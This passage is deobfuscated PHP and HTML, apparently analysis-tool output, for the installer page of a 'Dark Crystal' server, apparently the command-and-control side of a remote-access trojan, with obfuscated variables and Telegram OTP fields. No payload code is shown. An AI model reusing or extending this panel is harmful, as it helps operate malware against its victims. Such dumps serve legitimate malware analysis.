            user-select: none;
        }

        details summary {
            cursor: pointer;
        }

        details summary>* {
            display: inline;
        }
    </style>

    <script>
        function toggleElement(id, hide = true) {
            var element = document.getElementById(id);
            element.style.display = (element.style.display == 'none' || !hide) ? '' : 'none';
        }

        function showInfo(text, color = '') {
            document.getElementById('info_text').textContent = text;

            document.getElementById('info_form').style.display = '';
            document.getElementById('info_text').style.color = color;
        }

        function hideInfo() {
            document.getElementById('info_form').style.display = 'none';
        }

        async function doInstall(params) {
            showInfo('Please wait...');

            let response = await fetch(window.location.href, {
                method: 'POST',
                headers: {
                    'Accept': 'application/json',
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(params)
            });

            let responseJson = await response.json();

            if (!responseJson.ok) {
                showInfo('Try again! Something went wrong...', 'red');
                return;
            }

            hideInfo();

            document.getElementById('server_link').textContent = responseJson.url;

            toggleElement('server_link_form');
        }

        async function doInit() {
            showInfo('Please wait...');

            let response = await fetch(window.location.href, {
                method: 'POST',
                headers: {
                    'Accept': 'application/json',
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                    '_': '0'
                })
            });

            let responseJson = await response.json();

            if (!responseJson.ok) {
                showInfo('No connection to file server.', 'red');
                return;
            }

            hideInfo();

            document.getElementById('latest_update').textContent = 'Latest server update: ' + responseJson.latest;

            toggleElement('init_form');
        }

        function copyTextData(textData) {
            var textArea = document.createElement(\"textarea\");
            textArea.value = textData;
            document.body.appendChild(textArea);
            textArea.select();
            document.execCommand(\"Copy\");
            textArea.remove();
        }
    </script>
</head>

<body>
    <div class="main-content">
        <div class=\"bordered-box center-block\" style=\"gap: 0;">
            <p style=\"font-weight: bold; color: #e1e1e1; font-family: monospace; font-size: 18px;\">DARK CRYSTAL SERVER INSTALLATION</p>
            ";${$nfbcems}=Tools::CheckCompatibility();if(${${"GLOBALS"}["pfvpyip"]}){echo "                <div class="center-block" style="font-size: 14px; max-width: 100%;">
                    <p style="margin-bottom: 5px; color: red;">";echo ${${"GLOBALS"}["pfvpyip"]};echo "</p>
                </div>
            ";}else{echo "                <script>
                    window.addEventListener('load', function() {
                        document.getElementById('init_form').addEventListener('submit', function(event) {
                            event.preventDefault();

                            toggleElement('init_form', true);
                            toggleElement('settings_form', false);
                        });

                        document.getElementById('settings_form').addEventListener('submit', function(event) {
                            event.preventDefault();

                            toggleElement('settings_form', true);
                            doInstall({
                                '_': '1',
                                'server_name': document.getElementById('server_name').value,
                                'server_password': document.getElementById('server_password').value,
                                'script_name': document.getElementById('script_name').value,
                                'cache_directory': document.getElementById('cache_directory').value,
                                'cache_timeout': document.getElementById('cache_timeout').value,
                                'otp_token': document.getElementById('otp_token').value,
                                'otp_id': document.getElementById('otp_id').value
                            });
                        });

                        doInit();
                    });
                </script>

                <div id=\"info_form\" class="center-block" style="font-size: 14px; max-width: 100%; display: none;">
                    <p id="info_text" style=\"margin-bottom: 5px; color: red;\">...</p>
                </div>

                <form id=\"init_form" class=\"center-block" style="font-size: 14px; max-width: 100%; display: none;\">
                    <p id="latest_update\" style="margin-bottom: 5px;">Latest server update: 2023.01.01</p>

                    <input type=\"submit" value="Continue\">
                </form>

                <form id="settings_form" class=\"center-block\" style=\"font-size: 14px; max-width: 100%; display: none;">
                    <p style="margin-bottom: 5px;\">Server settings</p>

                    <input required type="text\" id="server_name\" placeholder=\"Server name">
                    <input required type=\"password\" id=\"server_password" placeholder=\"Server password">
                    <input required type="text" id=\"script_name" placeholder=\"Script name\" value=\"";echo Tools::GetRandomWords(2,10);echo "">

                    <div style="width: 100%;">
                        <details>
                            <summary>Cache settings</summary>

                            <div class=\"center-block" style=\"padding-bottom: 0;\">
                                <input required type="text" id=\"cache_directory" placeholder=\"Cache directory\" value="";echo Tools::GetRandomWords(2,10);echo "\">
                                <input required type="text\" id="cache_timeout\" placeholder=\"Cache update timeout" value="120">
                            </div>
                        </details>

                        <details>
                            <summary>OTP settings (Not required)</summary>

                            <div class=\"center-block" style=\"padding-bottom: 0;\">
                                <input type="password" id="otp_token\" placeholder="Telegram bot token\">
                                <input type="text\" id=\"otp_id" placeholder="Telegram client id">
                            </div>
                        </details>
                    </div>

                    <input type="submit" value="Install\">
                </form>

                <div id=\"server_link_form\" class=\"center-block\" style="font-size: 14px; max-width: 100%; display: none;\">
                    <p style="margin-bottom: 5px;\">Successfully installed! Your server link:</p>

                    <textarea readonly id=\"server_link" rows="5" cols="35"></textarea>
                    <input type="submit" value="Copy link" onclick=\"copyTextData(document.getElementById('server_link').textContent);\">
                </div>
            ";}echo "        </div>
    </div>
</body>

</html>
"; 
?>

Function Calls

None

Variables

None

Stats

MD5 8ac81936cdd3dc15df1b28fedf44414b
Eval Count 0
Decode Time 53 ms